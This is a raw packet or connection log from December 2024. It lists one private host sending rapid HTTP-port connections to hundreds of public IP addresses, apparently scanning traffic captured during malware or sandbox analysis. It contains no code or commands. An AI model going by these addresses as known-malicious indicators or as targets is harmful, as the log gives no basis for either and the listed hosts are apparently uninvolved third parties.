Dec 3, 2024 23:16:45.575815916 CET	43210	80	192.168.2.23	48.150.20.158
Dec 3, 2024 23:16:45.575824022 CET	58478	80	192.168.2.23	39.118.28.227
Dec 3, 2024 23:16:45.575825930 CET	41884	80	192.168.2.23	95.138.108.54
Dec 3, 2024 23:16:45.575825930 CET	47404	80	192.168.2.23	87.129.157.10
Dec 3, 2024 23:16:45.575831890 CET	47606	80	192.168.2.23	25.18.252.35
Dec 3, 2024 23:16:45.575844049 CET	39400	80	192.168.2.23	136.179.12.56
Dec 3, 2024 23:16:45.575846910 CET	34756	80	192.168.2.23	222.71.135.85
Dec 3, 2024 23:16:45.575855017 CET	37124	80	192.168.2.23	81.164.150.116
Dec 3, 2024 23:16:45.575860977 CET	41152	80	192.168.2.23	64.16.94.165
Dec 3, 2024 23:16:45.575866938 CET	57044	80	192.168.2.23	173.23.145.10
Dec 3, 2024 23:16:45.575872898 CET	54846	80	192.168.2.23	102.234.97.48
Dec 3, 2024 23:16:45.575874090 CET	56088	80	192.168.2.23	199.15.225.119
Dec 3, 2024 23:16:45.575875998 CET	58894	80	192.168.2.23	110.113.201.74
Dec 3, 2024 23:16:45.575881004 CET	53680	80	192.168.2.23	23.135.8.215
Dec 3, 2024 23:16:45.575885057 CET	33612	80	192.168.2.23	189.203.214.3
Dec 3, 2024 23:16:45.575892925 CET	48582	80	192.168.2.23	219.170.234.215
Dec 3, 2024 23:16:45.575896025 CET	43710	80	192.168.2.23	130.155.47.138
Dec 3, 2024 23:16:45.575906038 CET	40228	80	192.168.2.23	202.203.78.114
Dec 3, 2024 23:16:45.575906992 CET	38652	80	192.168.2.23	45.39.109.222
Dec 3, 2024 23:16:45.575908899 CET	52496	80	192.168.2.23	143.138.13.8
Dec 3, 2024 23:16:45.575917959 CET	41490	80	192.168.2.23	73.196.74.209
Dec 3, 2024 23:16:45.575932026 CET	33900	80	192.168.2.23	207.135.6.37
Dec 3, 2024 23:16:45.575932980 CET	39816	80	192.168.2.23	121.164.6.176
Dec 3, 2024 23:16:45.575932980 CET	59162	80	192.168.2.23	103.244.79.177
Dec 3, 2024 23:16:45.575936079 CET	46000	80	192.168.2.23	64.82.106.98
Dec 3, 2024 23:16:45.575936079 CET	38888	80	192.168.2.23	70.138.159.44
Dec 3, 2024 23:16:45.575939894 CET	46414	80	192.168.2.23	112.188.51.121
Dec 3, 2024 23:16:45.575942039 CET	52960	80	192.168.2.23	50.245.104.160
Dec 3, 2024 23:16:45.575958014 CET	45706	80	192.168.2.23	58.228.81.46
Dec 3, 2024 23:16:45.575958014 CET	51320	80	192.168.2.23	60.15.139.86
Dec 3, 2024 23:16:45.575961113 CET	58428	80	192.168.2.23	101.68.185.16
Dec 3, 2024 23:16:45.575963974 CET	49694	80	192.168.2.23	34.90.54.132
Dec 3, 2024 23:16:45.575982094 CET	51166	80	192.168.2.23	204.218.0.140
Dec 3, 2024 23:16:45.575988054 CET	41558	80	192.168.2.23	85.163.131.12
Dec 3, 2024 23:16:45.575989008 CET	33266	80	192.168.2.23	126.35.94.75
Dec 3, 2024 23:16:45.575989008 CET	59074	80	192.168.2.23	155.203.22.126
Dec 3, 2024 23:16:45.603632927 CET	80	34928	184.86.41.56	192.168.2.23
Dec 3, 2024 23:16:45.603657961 CET	80	34882	131.92.253.181	192.168.2.23
Dec 3, 2024 23:16:45.603665113 CET	80	57612	71.139.246.174	192.168.2.23
Dec 3, 2024 23:16:45.603796005 CET	34928	80	192.168.2.23	184.86.41.56
Dec 3, 2024 23:16:45.603807926 CET	34882	80	192.168.2.23	131.92.253.181
Dec 3, 2024 23:16:45.603807926 CET	57612	80	192.168.2.23	71.139.246.174
Dec 3, 2024 23:16:45.604123116 CET	57612	80	192.168.2.23	71.139.246.174
Dec 3, 2024 23:16:45.604123116 CET	57612	80	192.168.2.23	71.139.246.174
Dec 3, 2024 23:16:45.604450941 CET	57856	80	192.168.2.23	71.139.246.174
Dec 3, 2024 23:16:45.604844093 CET	34928	80	192.168.2.23	184.86.41.56
Dec 3, 2024 23:16:45.604844093 CET	34928	80	192.168.2.23	184.86.41.56
Dec 3, 2024 23:16:45.605154037 CET	35168	80	192.168.2.23	184.86.41.56
Dec 3, 2024 23:16:45.605529070 CET	34882	80	192.168.2.23	131.92.253.181
Dec 3, 2024 23:16:45.605541945 CET	34882	80	192.168.2.23	131.92.253.181
Dec 3, 2024 23:16:45.605834007 CET	35122	80	192.168.2.23	131.92.253.181
Dec 3, 2024 23:16:45.607753992 CET	55006	80	192.168.2.23	131.246.4.63
Dec 3, 2024 23:16:45.607759953 CET	38474	80	192.168.2.23	205.42.223.76
Dec 3, 2024 23:16:45.607774973 CET	34828	80	192.168.2.23	51.51.22.8
Dec 3, 2024 23:16:45.607774973 CET	47862	80	192.168.2.23	101.46.179.16
Dec 3, 2024 23:16:45.607774973 CET	40158	80	192.168.2.23	89.7.20.131
Dec 3, 2024 23:16:45.607783079 CET	50972	80	192.168.2.23	219.135.74.124
Dec 3, 2024 23:16:45.607788086 CET	54902	80	192.168.2.23	191.78.224.101
Dec 3, 2024 23:16:45.607795000 CET	60614	80	192.168.2.23	18.113.209.141
Dec 3, 2024 23:16:45.607800007 CET	49906	80	192.168.2.23	170.20.164.114
Dec 3, 2024 23:16:45.607808113 CET	40372	80	192.168.2.23	179.19.37.239
Dec 3, 2024 23:16:45.607808113 CET	42350	80	192.168.2.23	32.107.59.208
Dec 3, 2024 23:16:45.607815027 CET	53122	80	192.168.2.23	170.152.121.169
Dec 3, 2024 23:16:45.607821941 CET	49304	80	192.168.2.23	139.129.32.84
Dec 3, 2024 23:16:45.607830048 CET	51204	80	192.168.2.23	185.206.161.158
Dec 3, 2024 23:16:45.631978035 CET	80	40596	175.139.215.108	192.168.2.23
Dec 3, 2024 23:16:45.631989002 CET	80	40596	220.191.45.226	192.168.2.23
Dec 3, 2024 23:16:45.631999016 CET	80	40596	52.109.45.182	192.168.2.23
Dec 3, 2024 23:16:45.632033110 CET	40596	80	192.168.2.23	175.139.215.108
Dec 3, 2024 23:16:45.632035017 CET	40596	80	192.168.2.23	220.191.45.226
Dec 3, 2024 23:16:45.632050991 CET	40596	80	192.168.2.23	52.109.45.182
Dec 3, 2024 23:16:45.634865999 CET	80	48408	211.227.175.197	192.168.2.23
Dec 3, 2024 23:16:45.635392904 CET	80	48826	211.227.175.197	192.168.2.23
Dec 3, 2024 23:16:45.635545015 CET	48826	80	192.168.2.23	211.227.175.197
Dec 3, 2024 23:16:45.635545015 CET	48826	80	192.168.2.23	211.227.175.197
Dec 3, 2024 23:16:45.635843992 CET	34724	80	192.168.2.23	175.139.215.108
Dec 3, 2024 23:16:45.636498928 CET	57244	80	192.168.2.23	220.191.45.226
Dec 3, 2024 23:16:45.637129068 CET	52898	80	192.168.2.23	52.109.45.182
Dec 3, 2024 23:16:45.639749050 CET	44818	80	192.168.2.23	45.40.116.252
Dec 3, 2024 23:16:45.663584948 CET	80	58542	152.243.171.49	192.168.2.23
Dec 3, 2024 23:16:45.663810015 CET	80	58862	152.243.171.49	192.168.2.23
Dec 3, 2024 23:16:45.663961887 CET	58862	80	192.168.2.23	152.243.171.49
Dec 3, 2024 23:16:45.663961887 CET	58862	80	192.168.2.23	152.243.171.49
Dec 3, 2024 23:16:45.664141893 CET	80	44466	79.244.180.207	192.168.2.23
Dec 3, 2024 23:16:45.664561987 CET	80	44786	79.244.180.207	192.168.2.23
Dec 3, 2024 23:16:45.664613008 CET	44786	80	192.168.2.23	79.244.180.207
Dec 3, 2024 23:16:45.664643049 CET	44786	80	192.168.2.23	79.244.180.207
Dec 3, 2024 23:16:45.667442083 CET	80	55784	9.156.190.104	192.168.2.23
Dec 3, 2024 23:16:45.667488098 CET	55784	80	192.168.2.23	9.156.190.104
Dec 3, 2024 23:16:45.667639017 CET	55784	80	192.168.2.23	9.156.190.104
Dec 3, 2024 23:16:45.667639017 CET	55784	80	192.168.2.23	9.156.190.104
Dec 3, 2024 23:16:45.667968035 CET	55966	80	192.168.2.23	9.156.190.104
Dec 3, 2024 23:16:45.675834894 CET	80	48408	211.227.175.197	192.168.2.23
Dec 3, 2024 23:16:45.695746899 CET	80	44054	52.59.102.77	192.168.2.23
Dec 3, 2024 23:16:45.695871115 CET	80	44314	52.59.102.77	192.168.2.23
Dec 3, 2024 23:16:45.695919037 CET	44314	80	192.168.2.23	52.59.102.77
Dec 3, 2024 23:16:45.696065903 CET	44314	80	192.168.2.23	52.59.102.77
Dec 3, 2024 23:16:45.696338892 CET	80	32818	12.128.53.10	192.168.2.23
Dec 3, 2024 23:16:45.696583986 CET	80	33078	12.128.53.10	192.168.2.23
Dec 3, 2024 23:16:45.696633101 CET	33078	80	192.168.2.23	12.128.53.10
Dec 3, 2024 23:16:45.696674109 CET	33078	80	192.168.2.23	12.128.53.10
Dec 3, 2024 23:16:45.696978092 CET	80	40424	179.151.244.139	192.168.2.23
Dec 3, 2024 23:16:45.697227955 CET	80	40680	179.151.244.139	192.168.2.23
Dec 3, 2024 23:16:45.697268963 CET	40680	80	192.168.2.23	179.151.244.139
Dec 3, 2024 23:16:45.697302103 CET	40680	80	192.168.2.23	179.151.244.139
Dec 3, 2024 23:16:45.703845024 CET	80	58542	152.243.171.49	192.168.2.23
Dec 3, 2024 23:16:45.710613966 CET	80	41910	185.138.149.16	192.168.2.23
Dec 3, 2024 23:16:45.710659027 CET	41910	80	192.168.2.23	185.138.149.16
Dec 3, 2024 23:16:45.711872101 CET	80	44466	79.244.180.207	192.168.2.23
Dec 3, 2024 23:16:45.727869987 CET	80	57612	71.139.246.174	192.168.2.23
Dec 3, 2024 23:16:45.728081942 CET	80	57856	71.139.246.174	192.168.2.23
Dec 3, 2024 23:16:45.728262901 CET	57856	80	192.168.2.23	71.139.246.174
Dec 3, 2024 23:16:45.728262901 CET	57856	80	192.168.2.23	71.139.246.174
Dec 3, 2024 23:16:45.728555918 CET	80	34928	184.86.41.56	192.168.2.23
Dec 3, 2024 23:16:45.728804111 CET	80	35168	184.86.41.56	192.168.2.23
Dec 3, 2024 23:16:45.728847980 CET	35168	80	192.168.2.23	184.86.41.56
Dec 3, 2024 23:16:45.728873968 CET	35168	80	192.168.2.23	184.86.41.56
Dec 3, 2024 23:16:45.729147911 CET	80	34882	131.92.253.181	192.168.2.23
Dec 3, 2024 23:16:45.729451895 CET	80	35122	131.92.253.181	192.168.2.23
Dec 3, 2024 23:16:45.729492903 CET	35122	80	192.168.2.23	131.92.253.181
Dec 3, 2024 23:16:45.729530096 CET	35122	80	192.168.2.23	131.92.253.181
Dec 3, 2024 23:16:45.735855103 CET	80	44054	52.59.102.77	192.168.2.23
Dec 3, 2024 23:16:45.739917040 CET	80	40424	179.151.244.139	192.168.2.23
Dec 3, 2024 23:16:45.739927053 CET	80	32818	12.128.53.10	192.168.2.23
Dec 3, 2024 23:16:45.759509087 CET	80	34724	175.139.215.108	192.168.2.23
Dec 3, 2024 23:16:45.759618998 CET	34724	80	192.168.2.23	175.139.215.108
Dec 3, 2024 23:16:45.759669065 CET	80	48826	211.227.175.197	192.168.2.23
Dec 3, 2024 23:16:45.759833097 CET	34724	80	192.168.2.23	175.139.215.108
Dec 3, 2024 23:16:45.759834051 CET	34724	80	192.168.2.23	175.139.215.108
Dec 3, 2024 23:16:45.759835005 CET	48826	80	192.168.2.23	211.227.175.197
Dec 3, 2024 23:16:45.760126114 CET	34732	80	192.168.2.23	175.139.215.108
Dec 3, 2024 23:16:45.760130882 CET	80	57244	220.191.45.226	192.168.2.23
Dec 3, 2024 23:16:45.760174990 CET	57244	80	192.168.2.23	220.191.45.226
Dec 3, 2024 23:16:45.760590076 CET	57244	80	192.168.2.23	220.191.45.226
Dec 3, 2024 23:16:45.760598898 CET	57244	80	192.168.2.23	220.191.45.226
Dec 3, 2024 23:16:45.760894060 CET	57252	80	192.168.2.23	220.191.45.226
Dec 3, 2024 23:16:45.760987043 CET	80	52898	52.109.45.182	192.168.2.23
Dec 3, 2024 23:16:45.761032104 CET	52898	80	192.168.2.23	52.109.45.182
Dec 3, 2024 23:16:45.761378050 CET	52898	80	192.168.2.23	52.109.45.182
Dec 3, 2024 23:16:45.761378050 CET	52898	80	192.168.2.23	52.109.45.182
Dec 3, 2024 23:16:45.761682987 CET	52906	80	192.168.2.23	52.109.45.182
Dec 3, 2024 23:16:45.771914959 CET	80	34882	131.92.253.181	192.168.2.23
Dec 3, 2024 23:16:45.771955013 CET	80	34928	184.86.41.56	192.168.2.23
Dec 3, 2024 23:16:45.771964073 CET	80	57612	71.139.246.174	192.168.2.23
Dec 3, 2024 23:16:45.787945986 CET	80	58862	152.243.171.49	192.168.2.23
Dec 3, 2024 23:16:45.788146019 CET	80	58862	152.243.171.49	192.168.2.23
Dec 3, 2024 23:16:45.788193941 CET	58862	80	192.168.2.23	152.243.171.49
Dec 3, 2024 23:16:45.788786888 CET	80	44786	79.244.180.207	192.168.2.23
Dec 3, 2024 23:16:45.788923979 CET	44786	80	192.168.2.23	79.244.180.207
Dec 3, 2024 23:16:45.791292906 CET	80	55784	9.156.190.104	192.168.2.23
Dec 3, 2024 23:16:45.791627884 CET	80	55966	9.156.190.104	192.168.2.23
Dec 3, 2024 23:16:45.791671038 CET	55966	80	192.168.2.23	9.156.190.104
Dec 3, 2024 23:16:45.791703939 CET	55966	80	192.168.2.23	9.156.190.104
Dec 3, 2024 23:16:45.819834948 CET	80	44314	52.59.102.77	192.168.2.23
Dec 3, 2024 23:16:45.819866896 CET	80	44314	52.59.102.77	192.168.2.23
Dec 3, 2024 23:16:45.819988966 CET	44314	80	192.168.2.23	52.59.102.77
Dec 3, 2024 23:16:45.820519924 CET	80	33078	12.128.53.10	192.168.2.23
Dec 3, 2024 23:16:45.820647955 CET	33078	80	192.168.2.23	12.128.53.10
Dec 3, 2024 23:16:45.821273088 CET	80	40680	179.151.244.139	192.168.2.23
Dec 3, 2024 23:16:45.821317911 CET	40680	80	192.168.2.23	179.151.244.139
Dec 3, 2024 23:16:45.835901022 CET	80	55784	9.156.190.104	192.168.2.23
Dec 3, 2024 23:16:45.852427006 CET	80	57856	71.139.246.174	192.168.2.23
Dec 3, 2024 23:16:45.852469921 CET	57856	80	192.168.2.23	71.139.246.174
Dec 3, 2024 23:16:45.852853060 CET	80	35168	184.86.41.56	192.168.2.23
Dec 3, 2024 23:16:45.853100061 CET	35168	80	192.168.2.23	184.86.41.56
Dec 3, 2024 23:16:45.853513002 CET	80	35122	131.92.253.181	192.168.2.23
Dec 3, 2024 23:16:45.853562117 CET	35122	80	192.168.2.23	131.92.253.181
Dec 3, 2024 23:16:45.886008978 CET	80	34724	175.139.215.108	192.168.2.23
Dec 3, 2024 23:16:45.886143923 CET	80	34732	175.139.215.108	192.168.2.23
Dec 3, 2024 23:16:45.886153936 CET	80	57244	220.191.45.226	192.168.2.23
Dec 3, 2024 23:16:45.886194944 CET	34732	80	192.168.2.23	175.139.215.108
Dec 3, 2024 23:16:45.886280060 CET	80	57252	220.191.45.226	192.168.2.23
Dec 3, 2024 23:16:45.886291027 CET	80	52898	52.109.45.182	192.168.2.23
Dec 3, 2024 23:16:45.886301041 CET	80	52906	52.109.45.182	192.168.2.23
Dec 3, 2024 23:16:45.886465073 CET	40596	80	192.168.2.23	111.129.118.141
Dec 3, 2024 23:16:45.886465073 CET	40596	80	192.168.2.23	97.41.29.227
Dec 3, 2024 23:16:45.886465073 CET	40596	80	192.168.2.23	110.77.100.173
Dec 3, 2024 23:16:45.886466980 CET	40596	80	192.168.2.23	49.188.188.233
Dec 3, 2024 23:16:45.886467934 CET	40596	80	192.168.2.23	13.3.191.55
Dec 3, 2024 23:16:45.886467934 CET	40596	80	192.168.2.23	107.26.129.146
Dec 3, 2024 23:16:45.886468887 CET	40596	80	192.168.2.23	37.79.12.216
Dec 3, 2024 23:16:45.886467934 CET	40596	80	192.168.2.23	160.108.6.246
Dec 3, 2024 23:16:45.886468887 CET	40596	80	192.168.2.23	105.92.24.72
Dec 3, 2024 23:16:45.886477947 CET	34732	80	192.168.2.23	175.139.215.108
Dec 3, 2024 23:16:45.886477947 CET	40596	80	192.168.2.23	53.125.178.189
Dec 3, 2024 23:16:45.886477947 CET	40596	80	192.168.2.23	194.223.37.30
Dec 3, 2024 23:16:45.886477947 CET	40596	80	192.168.2.23	186.45.45.229
Dec 3, 2024 23:16:45.886506081 CET	40596	80	192.168.2.23	108.165.135.39
Dec 3, 2024 23:16:45.886506081 CET	40596	80	192.168.2.23	88.109.144.121
Dec 3, 2024 23:16:45.886507034 CET	40596	80	192.168.2.23	192.62.46.240
Dec 3, 2024 23:16:45.886506081 CET	40596	80	192.168.2.23	75.96.152.124
Dec 3, 2024 23:16:45.886507034 CET	40596	80	192.168.2.23	116.59.162.85
Dec 3, 2024 23:16:45.886506081 CET	57252	80	192.168.2.23	220.191.45.226
Dec 3, 2024 23:16:45.886508942 CET	40596	80	192.168.2.23	107.254.158.162
Dec 3, 2024 23:16:45.886508942 CET	52906	80	192.168.2.23	52.109.45.182
Dec 3, 2024 23:16:45.886508942 CET	40596	80	192.168.2.23	181.16.202.67
Dec 3, 2024 23:16:45.886508942 CET	40596	80	192.168.2.23	126.128.117.174
Dec 3, 2024 23:16:45.886508942 CET	40596	80	192.168.2.23	125.193.202.92
Dec 3, 2024 23:16:45.886508942 CET	40596	80	192.168.2.23	213.72.177.111
Dec 3, 2024 23:16:45.886508942 CET	40596	80	192.168.2.23	24.65.214.193
Dec 3, 2024 23:16:45.886507034 CET	40596	80	192.168.2.23	177.95.70.145
Dec 3, 2024 23:16:45.886507034 CET	40596	80	192.168.2.23	72.138.82.172
Dec 3, 2024 23:16:45.886507034 CET	40596	80	192.168.2.23	121.232.218.191
Dec 3, 2024 23:16:45.886507034 CET	40596	80	192.168.2.23	115.69.30.89
Dec 3, 2024 23:16:45.886507034 CET	40596	80	192.168.2.23	101.18.18.231
Dec 3, 2024 23:16:45.886532068 CET	40596	80	192.168.2.23	47.25.97.151
Dec 3, 2024 23:16:45.886533022 CET	40596	80	192.168.2.23	221.155.225.9
Dec 3, 2024 23:16:45.886533022 CET	40596	80	192.168.2.23	41.223.19.117
Dec 3, 2024 23:16:45.886533022 CET	40596	80	192.168.2.23	34.215.233.219
Dec 3, 2024 23:16:45.886533976 CET	40596	80	192.168.2.23	70.42.42.156
Dec 3, 2024 23:16:45.886534929 CET	40596	80	192.168.2.23	57.219.125.0
Dec 3, 2024 23:16:45.886534929 CET	40596	80	192.168.2.23	141.43.235.181
Dec 3, 2024 23:16:45.886534929 CET	40596	80	192.168.2.23	98.4.228.95
Dec 3, 2024 23:16:45.886537075 CET	40596	80	192.168.2.23	222.99.177.23
Dec 3, 2024 23:16:45.886537075 CET	40596	80	192.168.2.23	111.57.206.87
Dec 3, 2024 23:16:45.886537075 CET	40596	80	192.168.2.23	131.36.229.37
Dec 3, 2024 23:16:45.886537075 CET	40596	80	192.168.2.23	148.131.102.53
Dec 3, 2024 23:16:45.886543989 CET	40596	80	192.168.2.23	74.244.186.91
Dec 3, 2024 23:16:45.886543989 CET	40596	80	192.168.2.23	221.192.248.86
Dec 3, 2024 23:16:45.886543989 CET	40596	80	192.168.2.23	199.252.162.190
Dec 3, 2024 23:16:45.886545897 CET	40596	80	192.168.2.23	48.63.223.140
Dec 3, 2024 23:16:45.886543989 CET	40596	80	192.168.2.23	102.97.196.82
Dec 3, 2024 23:16:45.886543989 CET	40596	80	192.168.2.23	161.11.22.148
Dec 3, 2024 23:16:45.886543989 CET	40596	80	192.168.2.23	165.116.43.55
Dec 3, 2024 23:16:45.886543989 CET	40596	80	192.168.2.23	95.34.227.22
Dec 3, 2024 23:16:45.886543989 CET	40596	80	192.168.2.23	123.144.187.98
Dec 3, 2024 23:16:45.886543989 CET	40596	80	192.168.2.23	84.153.69.211
Dec 3, 2024 23:16:45.886550903 CET	40596	80	192.168.2.23	98.165.109.171
Dec 3, 2024 23:16:45.886552095 CET	40596	80	192.168.2.23	153.101.198.239
Dec 3, 2024 23:16:45.886558056 CET	40596	80	192.168.2.23	176.101.18.92
Dec 3, 2024 23:16:45.886571884 CET	40596	80	192.168.2.23	42.169.76.73
Dec 3, 2024 23:16:45.886575937 CET	40596	80	192.168.2.23	153.92.46.58
Dec 3, 2024 23:16:45.886590958 CET	40596	80	192.168.2.23	138.66.126.251
Dec 3, 2024 23:16:45.886590958 CET	40596	80	192.168.2.23	32.121.248.216
Dec 3, 2024 23:16:45.886605978 CET	40596	80	192.168.2.23	158.198.73.139
Dec 3, 2024 23:16:45.886606932 CET	40596	80	192.168.2.23	39.225.36.153
Dec 3, 2024 23:16:45.886626005 CET	40596	80	192.168.2.23	172.92.177.68
Dec 3, 2024 23:16:45.886626005 CET	40596	80	192.168.2.23	156.189.24.44
Dec 3, 2024 23:16:45.886640072 CET	40596	80	192.168.2.23	51.55.87.51
Dec 3, 2024 23:16:45.886641979 CET	40596	80	192.168.2.23	79.39.129.53
Dec 3, 2024 23:16:45.886663914 CET	40596	80	192.168.2.23	178.41.191.40
Dec 3, 2024 23:16:45.886665106 CET	40596	80	192.168.2.23	195.131.52.44
Dec 3, 2024 23:16:45.886674881 CET	40596	80	192.168.2.23	65.43.86.132
Dec 3, 2024 23:16:45.886688948 CET	40596	80	192.168.2.23	161.35.62.121
Dec 3, 2024 23:16:45.886688948 CET	40596	80	192.168.2.23	212.227.21.68
Dec 3, 2024 23:16:45.886694908 CET	40596	80	192.168.2.23	219.7.22.89
Dec 3, 2024 23:16:45.886713028 CET	40596	80	192.168.2.23	150.81.181.255
Dec 3, 2024 23:16:45.886713028 CET	40596	80	192.168.2.23	83.191.75.234
Dec 3, 2024 23:16:45.886720896 CET	40596	80	192.168.2.23	43.195.114.174
Dec 3, 2024 23:16:45.886722088 CET	40596	80	192.168.2.23	195.101.120.170
Dec 3, 2024 23:16:45.886744022 CET	40596	80	192.168.2.23	154.247.17.157
Dec 3, 2024 23:16:45.886744022 CET	40596	80	192.168.2.23	70.251.135.156
Dec 3, 2024 23:16:45.886765957 CET	40596	80	192.168.2.23	126.183.240.199
Dec 3, 2024 23:16:45.886765957 CET	40596	80	192.168.2.23	147.20.145.138
Dec 3, 2024 23:16:45.886778116 CET	40596	80	192.168.2.23	87.0.254.133
Dec 3, 2024 23:16:45.886785984 CET	40596	80	192.168.2.23	196.250.202.210
Dec 3, 2024 23:16:45.886790991 CET	40596	80	192.168.2.23	202.118.111.216
Dec 3, 2024 23:16:45.886797905 CET	40596	80	192.168.2.23	40.253.255.103
Dec 3, 2024 23:16:45.886801958 CET	40596	80	192.168.2.23	58.36.195.88
Dec 3, 2024 23:16:45.886821032 CET	40596	80	192.168.2.23	83.63.195.19
Dec 3, 2024 23:16:45.886822939 CET	40596	80	192.168.2.23	69.127.201.103
Dec 3, 2024 23:16:45.886838913 CET	40596	80	192.168.2.23	19.96.125.138
Dec 3, 2024 23:16:45.886845112 CET	40596	80	192.168.2.23	180.87.23.211
Dec 3, 2024 23:16:45.886857033 CET	40596	80	192.168.2.23	61.29.17.251
Dec 3, 2024 23:16:45.886861086 CET	40596	80	192.168.2.23	58.27.181.121
Dec 3, 2024 23:16:45.886876106 CET	40596	80	192.168.2.23	27.194.225.100
Dec 3, 2024 23:16:45.886876106 CET	40596	80	192.168.2.23	128.195.169.160
Dec 3, 2024 23:16:45.886889935 CET	40596	80	192.168.2.23	54.110.30.244
Dec 3, 2024 23:16:45.886895895 CET	40596	80	192.168.2.23	18.220.4.76
Dec 3, 2024 23:16:45.886913061 CET	40596	80	192.168.2.23	170.57.28.166
Dec 3, 2024 23:16:45.886919022 CET	40596	80	192.168.2.23	216.223.188.145
Dec 3, 2024 23:16:45.886931896 CET	40596	80	192.168.2.23	75.170.118.102
Dec 3, 2024 23:16:45.886936903 CET	40596	80	192.168.2.23	144.33.40.34
Dec 3, 2024 23:16:45.886951923 CET	40596	80	192.168.2.23	141.191.138.216
Dec 3, 2024 23:16:45.886951923 CET	40596	80	192.168.2.23	92.81.217.5
Dec 3, 2024 23:16:45.886969090 CET	40596	80	192.168.2.23	148.224.170.55
Dec 3, 2024 23:16:45.886971951 CET	40596	80	192.168.2.23	103.131.238.103
Dec 3, 2024 23:16:45.886989117 CET	40596	80	192.168.2.23	59.92.181.79
Dec 3, 2024 23:16:45.886992931 CET	40596	80	192.168.2.23	46.206.51.197
Dec 3, 2024 23:16:45.887008905 CET	40596	80	192.168.2.23	96.116.179.210
Dec 3, 2024 23:16:45.887012959 CET	40596	80	192.168.2.23	77.89.212.243
Dec 3, 2024 23:16:45.887027025 CET	40596	80	192.168.2.23	122.112.188.152
Dec 3, 2024 23:16:45.887031078 CET	40596	80	192.168.2.23	160.148.19.245
Dec 3, 2024 23:16:45.887047052 CET	40596	80	192.168.2.23	91.135.108.70
Dec 3, 2024 23:16:45.887053013 CET	40596	80	192.168.2.23	81.31.249.201
Dec 3, 2024 23:16:45.887065887 CET	40596	80	192.168.2.23	126.250.214.134
Dec 3, 2024 23:16:45.887073994 CET	40596	80	192.168.2.23	176.15.207.200
Dec 3, 2024 23:16:45.887084007 CET	40596	80	192.168.2.23	96.47.84.68
Dec 3, 2024 23:16:45.887088060 CET	40596	80	192.168.2.23	158.6.86.196
Dec 3, 2024 23:16:45.887101889 CET	40596	80	192.168.2.23	190.254.0.21
Dec 3, 2024 23:16:45.887105942 CET	40596	80	192.168.2.23	117.161.178.112
Dec 3, 2024 23:16:45.887121916 CET	40596	80	192.168.2.23	158.250.187.54
Dec 3, 2024 23:16:45.887124062 CET	40596	80	192.168.2.23	179.59.202.246
Dec 3, 2024 23:16:45.887125969 CET	40596	80	192.168.2.23	57.26.249.219
Dec 3, 2024 23:16:45.887149096 CET	40596	80	192.168.2.23	79.231.57.35
Dec 3, 2024 23:16:45.887149096 CET	40596	80	192.168.2.23	85.58.119.1
Dec 3, 2024 23:16:45.887149096 CET	40596	80	192.168.2.23	128.255.11.239
Dec 3, 2024 23:16:45.887161970 CET	40596	80	192.168.2.23	144.21.119.171
Dec 3, 2024 23:16:45.887165070 CET	40596	80	192.168.2.23	156.232.210.250
Dec 3, 2024 23:16:45.887181044 CET	40596	80	192.168.2.23	81.58.12.106
Dec 3, 2024 23:16:45.887187958 CET	40596	80	192.168.2.23	107.253.107.2
Dec 3, 2024 23:16:45.887187004 CET	40596	80	192.168.2.23	110.98.90.179
Dec 3, 2024 23:16:45.887187958 CET	40596	80	192.168.2.23	178.1.202.226
Dec 3, 2024 23:16:45.887192011 CET	40596	80	192.168.2.23	98.4.193.162
Dec 3, 2024 23:16:45.887206078 CET	40596	80	192.168.2.23	180.56.173.186
Dec 3, 2024 23:16:45.887208939 CET	40596	80	192.168.2.23	212.83.183.144
Dec 3, 2024 23:16:45.887224913 CET	40596	80	192.168.2.23	46.114.23.36
Dec 3, 2024 23:16:45.887228012 CET	40596	80	192.168.2.23	91.18.59.201
Dec 3, 2024 23:16:45.887231112 CET	40596	80	192.168.2.23	223.235.250.197
Dec 3, 2024 23:16:45.887244940 CET	40596	80	192.168.2.23	98.220.120.176
Dec 3, 2024 23:16:45.887252092 CET	40596	80	192.168.2.23	80.202.105.121
Dec 3, 2024 23:16:45.887260914 CET	40596	80	192.168.2.23	94.204.181.6
Dec 3, 2024 23:16:45.887268066 CET	40596	80	192.168.2.23	174.241.75.224
Dec 3, 2024 23:16:45.887285948 CET	40596	80	192.168.2.23	90.70.9.23
Dec 3, 2024 23:16:45.887285948 CET	40596	80	192.168.2.23	84.121.214.190
Dec 3, 2024 23:16:45.887303114 CET	40596	80	192.168.2.23	124.58.49.162
Dec 3, 2024 23:16:45.887306929 CET	40596	80	192.168.2.23	206.53.100.135
Dec 3, 2024 23:16:45.887316942 CET	40596	80	192.168.2.23	123.161.163.202
Dec 3, 2024 23:16:45.887325048 CET	40596	80	192.168.2.23	117.33.235.59
Dec 3, 2024 23:16:45.887330055 CET	40596	80	192.168.2.23	142.5.26.217
Dec 3, 2024 23:16:45.887341976 CET	40596	80	192.168.2.23	109.11.255.174
Dec 3, 2024 23:16:45.887346029 CET	40596	80	192.168.2.23	110.104.173.160
Dec 3, 2024 23:16:45.887362957 CET	40596	80	192.168.2.23	165.168.96.248
Dec 3, 2024 23:16:45.887367010 CET	40596	80	192.168.2.23	199.120.39.206
Dec 3, 2024 23:16:45.887376070 CET	40596	80	192.168.2.23	73.156.7.220
Dec 3, 2024 23:16:45.887388945 CET	40596	80	192.168.2.23	183.133.11.228
Dec 3, 2024 23:16:45.887388945 CET	40596	80	192.168.2.23	146.46.106.180
Dec 3, 2024 23:16:45.887392044 CET	40596	80	192.168.2.23	18.248.244.42
Dec 3, 2024 23:16:45.887399912 CET	40596	80	192.168.2.23	60.127.213.160
Dec 3, 2024 23:16:45.887399912 CET	40596	80	192.168.2.23	209.184.221.120
Dec 3, 2024 23:16:45.887419939 CET	40596	80	192.168.2.23	197.133.36.148
Dec 3, 2024 23:16:45.887424946 CET	40596	80	192.168.2.23	158.43.181.186
Dec 3, 2024 23:16:45.887439013 CET	40596	80	192.168.2.23	220.172.81.10
Dec 3, 2024 23:16:45.887440920 CET	40596	80	192.168.2.23	39.215.204.10
Dec 3, 2024 23:16:45.887459993 CET	40596	80	192.168.2.23	128.195.178.251
Dec 3, 2024 23:16:45.887470961 CET	40596	80	192.168.2.23	137.189.214.124
Dec 3, 2024 23:16:45.887470961 CET	40596	80	192.168.2.23	99.47.233.201
Dec 3, 2024 23:16:45.887471914 CET	40596	80	192.168.2.23	178.33.140.190
Dec 3, 2024 23:16:45.887471914 CET	40596	80	192.168.2.23	62.3.187.210
Dec 3, 2024 23:16:45.887474060 CET	40596	80	192.168.2.23	63.231.75.169
